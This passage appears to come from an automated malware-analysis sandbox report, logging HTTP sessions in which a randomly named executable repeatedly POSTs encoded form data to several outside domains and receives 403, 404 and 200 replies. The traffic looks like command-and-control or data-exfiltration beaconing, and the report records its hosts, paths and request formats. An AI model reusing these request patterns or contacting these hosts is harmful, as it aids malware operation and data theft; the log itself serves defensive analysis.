                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.ycwtch.co.uk
                                                        Referer: http://www.ycwtch.co.uk/kpja/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 63 38 45 67 47 5a 52 30 4b 75 48 58 4b 61 4d 52 37 4c 6c 63 4d 63 57 75 33 72 4d 32 73 62 48 61 4d 41 55 67 6c 75 48 69 4d 53 70 5a 51 37 30 6e 58 73 70 44 31 56 58 34 51 4a 4a 45 42 55 6f 4a 35 45 68 6d 69 56 4d 64 64 42 70 36 32 35 6d 6a 35 75 6f 46 46 64 64 2f 6b 4d 6d 6c 53 4e 37 50 68 31 4d 6a 69 52 76 47 78 4b 30 6f 67 6d 76 35 45 52 2f 77 2b 41 62 44 6f 42 2b 32 41 30 6a 61 79 4a 59 4e 46 6f 33 6b 61 67 30 4a 41 50 74 5a 32 43 56 68 44 4e 33 6e 2f 44 65 64 42 68 6e 32 33 4e 4a 66 47 4c 2f 5a 58 71 7a 4f 4f 69 6c 73 69 4e 55 59 57 6e 74 7a 75 37 78 38 65 6e 6c 4b 4f 69 49 59 5a 71 48 58 49 43 72 4d 55 33 37 48 4d 69 58 6f 6c 78 62 6e 6a 7a 45 72 34 44 30 76 70 4a 65 58 47 77 3d
                                                        Data Ascii: MNodJD8p=Sc8EgGZR0KuHXKaMR7LlcMcWu3rM2sbHaMAUgluHiMSpZQ70nXspD1VX4QJJEBUoJ5EhmiVMddBp625mj5uoFFdd/kMmlSN7Ph1MjiRvGxK0ogmv5ER/w+AbDoB+2A0jayJYNFo3kag0JAPtZ2CVhDN3n/DedBhn23NJfGL/ZXqzOOilsiNUYWntzu7x8enlKOiIYZqHXICrMU37HMiXolxbnjzEr4D0vpJeXGw=
                                                        May 27, 2024 12:30:03.888921976 CEST1076INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805803.84111874587839152
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:30:03 GMT
                                                        X-Served-By: cache-iad-kiad7000096-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqymrWSBpMfJbY0ZWU2hO35/HubKAh1QhTB6OuUXtTGV
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        43192.168.2.75931234.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:05.937167883 CEST1694OUTPOST /kpja/ HTTP/1.1
                                                        Host: www.ycwtch.co.uk
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.ycwtch.co.uk
                                                        Referer: http://www.ycwtch.co.uk/kpja/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 63 38 45 67 47 5a 52 30 4b 75 48 58 4b 61 4d 52 37 4c 6c 63 4d 63 57 75 33 72 4d 32 73 62 48 61 4d 41 55 67 6c 75 48 69 50 79 70 46 79 6a 30 6e 77 41 70 43 31 56 58 37 51 4a 4b 45 42 56 71 4a 35 73 6c 6d 69 70 79 64 62 46 70 6f 6b 42 6d 30 34 75 6f 66 56 64 64 33 45 4d 6e 6d 69 4d 35 50 6c 52 49 6a 69 42 76 47 78 4b 30 6f 69 4f 76 75 41 39 2f 32 2b 41 59 43 6f 42 36 79 41 30 48 61 79 51 76 4e 46 39 43 6c 71 41 30 49 6a 6e 74 62 41 75 56 75 44 4e 35 67 2f 43 44 64 42 63 33 32 33 35 2f 66 46 58 42 5a 51 65 7a 50 34 66 73 33 6d 5a 4b 43 56 37 6f 77 66 6a 64 36 49 75 51 49 2f 69 42 59 4a 43 56 64 4b 6a 66 56 53 2f 6e 54 4a 76 49 78 6b 46 77 6b 52 62 4b 36 4d 36 67 31 63 46 72 47 42 52 78 42 4c 63 56 46 72 70 46 4b 33 48 34 4b 38 53 58 58 50 30 46 49 69 43 55 4d 4a 36 4a 5a 70 71 59 53 45 41 62 48 54 4d 69 70 62 54 39 31 59 52 44 51 69 43 64 2b 35 78 62 62 56 42 72 58 42 58 48 71 2f 4a 6e 75 62 44 4d 75 58 4a 6e 4c 45 34 53 74 72 4c 6d 4a 4d 5a 69 71 58 2b 43 49 70 31 79 32 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=Sc8EgGZR0KuHXKaMR7LlcMcWu3rM2sbHaMAUgluHiPypFyj0nwApC1VX7QJKEBVqJ5slmipydbFpokBm04uofVdd3EMnmiM5PlRIjiBvGxK0oiOvuA9/2+AYCoB6yA0HayQvNF9ClqA0IjntbAuVuDN5g/CDdBc3235/fFXBZQezP4fs3mZKCV7owfjd6IuQI/iBYJCVdKjfVS/nTJvIxkFwkRbK6M6g1cFrGBRxBLcVFrpFK3H4K8SXXP0FIiCUMJ6JZpqYSEAbHTMipbT91YRDQiCd+5xbbVBrXBXHq/JnubDMuXJnLE4StrLmJMZiqX+CIp1y226DGb2/FdRpO8h7U/sTIOv4TeWYToTScPCrmhJHM9hoPd6Z6iLHbiLUjZhuDPHif8ub8tzhw2Z3SUjXd1JFkgsV5qt/R1h5U1biuJVTvbr40/r+1eXUwtSjeBzdFqWXOo4funGOiwAXwHSsmF2ELKD6ET3mgs4SK6iefxnxX6Lxzr+M47xtG5M1NPJ9cJJxOtTn6/FL8xbN69M9DXSHgg0h+Zn4O2IjSoEQb3T7rLtIX0gkmmiONHaCHkrIGuyw1Sh737IrZxRbWycLUglLzCyD5xAhRinqaFAWWvOczpMBk08tnLDlJfEx1f8iJidmNY06rjXhXFj+tz+qBNNbIA2Rd0EX5ZMJY+9315TJMU2F0FOPSk8rGQsaZ0jQU4xfCs4cimEip3Jpw0czUeRPYSuuRUt7zGY18c1zTEs7lGbBU2n7+9QN1A7EjM4ZscmpzvV6hTwMdr8CUCjBbOpYeppcHTzgTmBxu30HGulWGZbQWTkvMLKa/Jyn4x7FBuJDd1+Nj5xFSJDy3Ty8C4BfYEIKS+MmBySBgzL2FV7WbPD973NlMT1tmgB1md3nmHYBxpOZEyTvTTNn8YA8AcaXVH+FzSXym+IHU6CtYAjv/pkQpYs8yY8/lADWD9OHpBYsbVFUKXeacUSyBoCD7mMGvdn+tdM/qLhQHRP [TRUNCATED]
                                                        May 27, 2024 12:30:06.407857895 CEST1077INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805806.363104087582218950
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:30:06 GMT
                                                        X-Served-By: cache-iad-kcgs7200055-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLj7/C5aSAyG//vrZl1d/upnu/2EjeiyKjB/JVOb8T5Ve
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        44192.168.2.75931334.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:08.470226049 CEST404OUTGET /kpja/?MNodJD8p=feUkjxVztt61T+q9W6uYG/UJrG3XpNzeZI0ojRzm1cejAyzeojgXHXhC7SIpJnYpWq4H+DhEOKRao3BiyIuYFkFo5Eoj5TMadhE3pDNzCDi8vXm7xxYuwOkEHvw50i5QKglKDFk0tKB3&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.ycwtch.co.uk
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:30:08.965393066 CEST1236INHTTP/1.1 404 Not Found
                                                        Content-Type: text/html; charset=utf-8
                                                        X-Wix-Request-Id: 1716805808.8951192553039151
                                                        Age: 0
                                                        Server: Pepyaka
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:30:08 GMT
                                                        X-Served-By: cache-iad-kiad7000130-IAD
                                                        X-Cache: MISS
                                                        Vary: Accept-Encoding
                                                        Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqymrWSBpMfJbY0ZWU2hO35/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalg55u4YsHu1Axf9AbCDiE0HR2rDcMk1/EfCdRb+nfaeumWhFMN/4tEKWXVII9cYPnA==,2UNV7KOq4oGjA5+PKsX47OQZwYgSPyDAITkAPokfnlQ=,5dtjbdes4FE7bHdX5YvIsEb0dNMLoLpjiFXc+uhJ+7U=,ayd+3ClbVmxEhcfWBRDlsdcDQNw3DVOhs5Iq99Tykaw=,8+sd0p/fB+2vxlJZapYbK3mRoZQxYXSs3LNVUHKP6uGXKROERf8jhXGXq7DZ5tVRCeecs6aOlI8qHz0Wy6F2Ow==
                                                        Transfer-Encoding: chunked
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 62 65 65 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d
                                                        Data Ascii: bee ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=
                                                        May 27, 2024 12:30:08.965497017 CEST224INData Raw: 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74
                                                        Data Ascii: edge"> <title ng-bind="'page_title' | translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <lin
                                                        May 27, 2024 12:30:08.965529919 CEST1236INData Raw: 6b 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 77 69 78 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d
                                                        Data Ascii: k type="image/png" href="//www.wix.com/favicon.ico" rel="shortcut icon"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" type="text/css" /> ... --> <link rel="stylesh
                                                        May 27, 2024 12:30:08.965564013 CEST1236INData Raw: 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e
                                                        Data Ascii: arastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></script> ... --><script> angular
                                                        May 27, 2024 12:30:08.965605021 CEST104INData Raw: 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c
                                                        Data Ascii: span> </div> </div></div>... verification -->... end verification --></body></html>0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        45192.168.2.7593143.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:14.037409067 CEST676OUTPOST /8vpj/ HTTP/1.1
                                                        Host: www.geltipleasure.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.geltipleasure.com
                                                        Referer: http://www.geltipleasure.com/8vpj/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 43 50 72 55 48 6c 47 5a 73 42 57 65 50 2b 69 32 67 32 51 53 4b 37 45 6d 50 31 6b 62 54 73 5a 34 70 36 51 53 38 36 4a 6f 50 4a 4e 45 70 51 44 65 48 54 4f 48 54 4f 6d 6d 57 75 59 76 48 70 48 74 57 5a 5a 33 69 48 64 53 38 56 55 6e 41 34 6d 2f 74 54 4f 39 48 72 7a 4a 61 6f 58 49 4f 6d 36 35 30 30 70 64 76 68 59 5a 43 6d 44 76 70 39 6a 45 6e 48 4d 74 32 6c 68 71 69 78 53 73 6e 6e 6f 45 62 42 41 6b 46 43 51 46 41 64 4b 49 67 58 75 43 79 39 67 4e 38 48 30 72 6d 6a 39 4f 45 74 63 76 43 52 79 73 7a 57 68 77 46 51 69 30 76 73 32 69 6e 47 56 33 46 79 34 4d 67 57 70 79 47 44 71 51 4c 4c 32 4a 62 64 73 77 50 30 64 6e 77 4f 45 6e 39 41 3d 3d
                                                        Data Ascii: MNodJD8p=CPrUHlGZsBWeP+i2g2QSK7EmP1kbTsZ4p6QS86JoPJNEpQDeHTOHTOmmWuYvHpHtWZZ3iHdS8VUnA4m/tTO9HrzJaoXIOm6500pdvhYZCmDvp9jEnHMt2lhqixSsnnoEbBAkFCQFAdKIgXuCy9gN8H0rmj9OEtcvCRyszWhwFQi0vs2inGV3Fy4MgWpyGDqQLL2JbdswP0dnwOEn9A==


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        46192.168.2.7593153.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:16.579207897 CEST696OUTPOST /8vpj/ HTTP/1.1
                                                        Host: www.geltipleasure.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.geltipleasure.com
                                                        Referer: http://www.geltipleasure.com/8vpj/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 43 50 72 55 48 6c 47 5a 73 42 57 65 64 76 53 32 6d 56 34 53 47 4c 46 55 44 56 6b 62 59 4d 5a 6b 70 36 55 53 38 37 4e 34 50 2f 56 45 70 31 2f 65 45 53 4f 48 61 65 6d 6d 65 4f 59 71 61 35 48 32 57 5a 56 2f 69 46 5a 53 38 56 51 6e 41 34 57 2f 71 6b 36 2b 47 37 7a 4c 44 34 58 4b 4b 6d 36 35 30 30 70 64 76 68 6b 7a 43 6d 62 76 70 73 54 45 6d 69 34 75 38 46 68 72 68 78 53 73 73 48 6f 41 62 42 41 61 46 48 35 75 41 66 69 49 67 58 65 43 79 73 67 43 32 48 30 6c 70 44 38 46 4d 76 68 67 4d 68 79 43 2b 51 52 66 64 47 44 57 6e 36 72 41 39 6b 5a 62 62 6a 41 33 6b 55 4e 45 52 6c 33 6c 4a 4b 79 52 57 2f 59 52 51 44 34 4e 39 63 6c 6a 72 35 4c 36 31 6c 6d 34 70 6b 63 2f 70 69 41 69 6a 54 62 2b 34 68 6b 3d
                                                        Data Ascii: MNodJD8p=CPrUHlGZsBWedvS2mV4SGLFUDVkbYMZkp6US87N4P/VEp1/eESOHaemmeOYqa5H2WZV/iFZS8VQnA4W/qk6+G7zLD4XKKm6500pdvhkzCmbvpsTEmi4u8FhrhxSssHoAbBAaFH5uAfiIgXeCysgC2H0lpD8FMvhgMhyC+QRfdGDWn6rA9kZbbjA3kUNERl3lJKyRW/YRQD4N9cljr5L61lm4pkc/piAijTb+4hk=


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        47192.168.2.7593163.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:19.901458979 CEST1709OUTPOST /8vpj/ HTTP/1.1
                                                        Host: www.geltipleasure.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.geltipleasure.com
                                                        Referer: http://www.geltipleasure.com/8vpj/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 43 50 72 55 48 6c 47 5a 73 42 57 65 64 76 53 32 6d 56 34 53 47 4c 46 55 44 56 6b 62 59 4d 5a 6b 70 36 55 53 38 37 4e 34 50 2f 64 45 70 44 72 65 47 77 6d 48 41 65 6d 6d 51 75 59 72 61 35 47 30 57 5a 4e 37 69 46 55 70 38 58 59 6e 42 5a 32 2f 72 51 6d 2b 4e 37 7a 4c 65 6f 58 4c 4f 6d 36 4a 30 77 4d 55 76 67 59 7a 43 6d 62 76 70 75 62 45 79 48 4d 75 76 56 68 71 69 78 53 57 6e 6e 6f 34 62 42 49 73 46 48 39 59 42 75 43 49 67 33 4f 43 77 65 49 43 36 48 30 77 39 6a 38 57 4d 76 73 67 4d 68 65 4f 2b 55 5a 31 64 41 7a 57 6e 37 4c 66 6c 46 68 76 45 54 4d 69 6d 69 46 43 57 6b 44 75 51 61 36 54 49 63 34 64 64 6b 4d 79 79 39 4a 2b 2b 38 66 36 74 31 6e 4c 73 57 34 4c 76 31 6c 48 78 51 50 37 76 47 65 4c 64 69 49 48 69 63 67 4c 53 68 58 73 63 45 4e 46 4e 42 6e 2f 75 43 56 42 74 69 55 62 73 6c 47 35 32 7a 68 37 70 72 37 68 37 69 73 44 47 30 72 37 38 65 58 49 6f 47 75 50 4e 2b 44 57 4c 78 2f 33 6f 31 32 58 6c 66 53 7a 52 45 6b 72 73 5a 36 4c 4c 2f 71 6b 39 43 48 79 61 33 33 73 46 52 2f 52 33 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=CPrUHlGZsBWedvS2mV4SGLFUDVkbYMZkp6US87N4P/dEpDreGwmHAemmQuYra5G0WZN7iFUp8XYnBZ2/rQm+N7zLeoXLOm6J0wMUvgYzCmbvpubEyHMuvVhqixSWnno4bBIsFH9YBuCIg3OCweIC6H0w9j8WMvsgMheO+UZ1dAzWn7LflFhvETMimiFCWkDuQa6TIc4ddkMyy9J++8f6t1nLsW4Lv1lHxQP7vGeLdiIHicgLShXscENFNBn/uCVBtiUbslG52zh7pr7h7isDG0r78eXIoGuPN+DWLx/3o12XlfSzREkrsZ6LL/qk9CHya33sFR/R3eW6CB+1xwtzqNrRV1LxzcY4rReLqGGmyLpxcrTiCW65fD8YFhhJsY6fsJuOPMhJpaFSGPzC3DHqJBWoMaTfKIpHP73zILhx0X6hxH/Rk9dOszn5LqUYz7gW+x1gj28VOM8f9aMllxk/71p+fH6GZL9feXXtuX0eGm+ZQjlzVh/KiBuSHRaWaeA1qJuH/WULYyKh2H4mEpcA/8WG8+hI1pPJwP5j2rk6+nMEI7QXmKXnz060wPhWN/8V4BxON8QYHT9uvEIeia9CXLD19QB7yOsue8/BpVClmyYsAk/VdXFjQjaxLhkQQ2siWye8eQ72428FhCiEjcoVwhnvxMyEC/4YHIdqj+6sI/YVPhUmflhUvFRqG/ium03MFBiBgzGnw58+xEDpOAg+BVHz0aJQQqMaLgt54Xjv1I1L695d3k6Xz2k1LS9s6Zdt1zHuolHImXVt/uleLvsvhfdWmU8U0JQzey3RHpsLzhux6TyNi5LBajegPT9WuN/NWsyi44D+Ppb4WxCxKfxb/pTWE9xGrr+FTCREoi0p5pY4tJMB05okGpxStaUnjR7d7U+tLMsfRB/3Wi4puVcZeUYaEbvndt59gEsVVLkoDWkjk/tfe+rIv/Ep6jfWz2kGJPQ68gJLPOW9SBx8rknNuyXz6Uhu9wd4s3q5Mq1O81r [TRUNCATED]


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        48192.168.2.7593173.33.130.19080
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:24.539522886 CEST409OUTGET /8vpj/?f4=xxLl5tHp-byppxH&MNodJD8p=PND0ETKqlieTTeqinVoOdoMDGkM5Odo4sqg2s5YxFKdh6CPUHw2tTMKdV9M9FPP1W5xV4FYCql8AQrim1T6KQKabV5DPdnWB0A0Xkl8YOGjv4J+ZuCok4XgXnh6EsXJFAwVfNVgHNN7O HTTP/1.1
                                                        Host: www.geltipleasure.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:30:24.994996071 CEST423INHTTP/1.1 200 OK
                                                        Server: openresty
                                                        Date: Mon, 27 May 2024 10:30:24 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 283
                                                        Connection: close
